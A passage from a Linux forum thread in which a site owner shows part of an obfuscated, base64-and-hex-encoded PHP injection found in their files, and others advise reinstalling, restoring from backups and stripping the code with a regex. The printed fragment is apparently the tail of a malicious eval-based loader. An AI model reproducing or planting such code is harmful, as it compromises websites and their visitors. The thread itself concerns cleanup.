AyMnpvOGw1KCR2YXI2KTsgIGlmKCRldmExZlkyYjBsbHpjOGw1 KCRldmExZlkyYjA1MnpvOGwxLCRldmExZlkyYm82MXpvOGw3KS kgew0KIHJldHVybiAkZXZhMWZZMmIwMWx6YzhsNSgkZXZhMWZZ MmIwNjJ6bzhsMSwgZXZhMWZZMmJhazFjVjBpcigpLiJcbiIuIl x4MjRcNjEiLCAkZXZhMWZZMmJvNjF6bzhsNywxKTsgfSBlbHNl IHsNCiBpZigkZXZhMWZZMmIwbGx6YzhsNSgkZXZhMWZZMmIwNj F6bzhsMSwkZXZhMWZZMmJvNjF6bzhsNykpIHsNCiByZXR1cm4g JGV2YTFmWTJiMDFsemM4bDUoJGV2YTFmWTJibzYxem84bDEsIG V2YTFmWTJiYWsxY1YwaXIoKS4iXG4iLiJceDI0XDYxIiwgJGV2 YTFmWTJibzYxem84bDcsMSk7DQogfSBlbHNlIHsgcmV0dXJuIC RldmExZlkyYm82MXpvOGw3OyB9DQogfSB9DQokZXZhMWZZMmJv NjF6bzgxNyA9ICJceDZmXDE0Mlx4NWZcMTYzXHg3NFwxNDFceD cyXDE2NCI7ICRldmExZlkyYm82MXpvODE3KCJceDY1XDE2Nlx4 NjFcNjFceDY2XDEzMVx4MzJcMTQyXHg2MVwxNTNceDMxXDE0M1 x4NTZcNjJceDY5XDE2MiIpOw0KCX0\x4e\103\x6e\60\x3d\4 2\x29\51\x3b\57\x2f"); ?>

  2. #2
    Trusted Penguin Irithori's Avatar
    Join Date
    May 2009
    Location
    Munich
    Posts
    3,356
    Hi and welcome

    my recommendation would be:
    - find out how the server was compromised
    - close that security hole
    - reinstall the machine to have a clean server
    Unless this is done any other action is pointless because the unwanted modification can happen again any time.

    Also I wouldnt remove this code, but rather use your (hopefully available) revision control system (subversion, git. etc) or backup system to restore a non-infected version.
    You must always face the curtain with a bow.

  3. #3
    Just Joined!
    Join Date
    Jun 2013
    Posts
    2
    This happened only on one account. And i don't have backup. So first i have to remove does lines. Any idea ?

  4. #4
    Just Joined!
    Join Date
    Jun 2013
    Posts
    1
    Quote Originally Posted by jackald View Post
    This happened only on one account. And i don't have backup. So first i have to remove does lines. Any idea ?
    I'm lazy bump so I will tell only what I did, of course there are better - shorter ways.

    What I did was create filter to filter out all files except '.php' in 'FileZilla'. Downloaded all files, using 'regexxer' replaced '/<\?php \$zend_framework(.+?)?>/g' to nothing and uploaded them all back.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •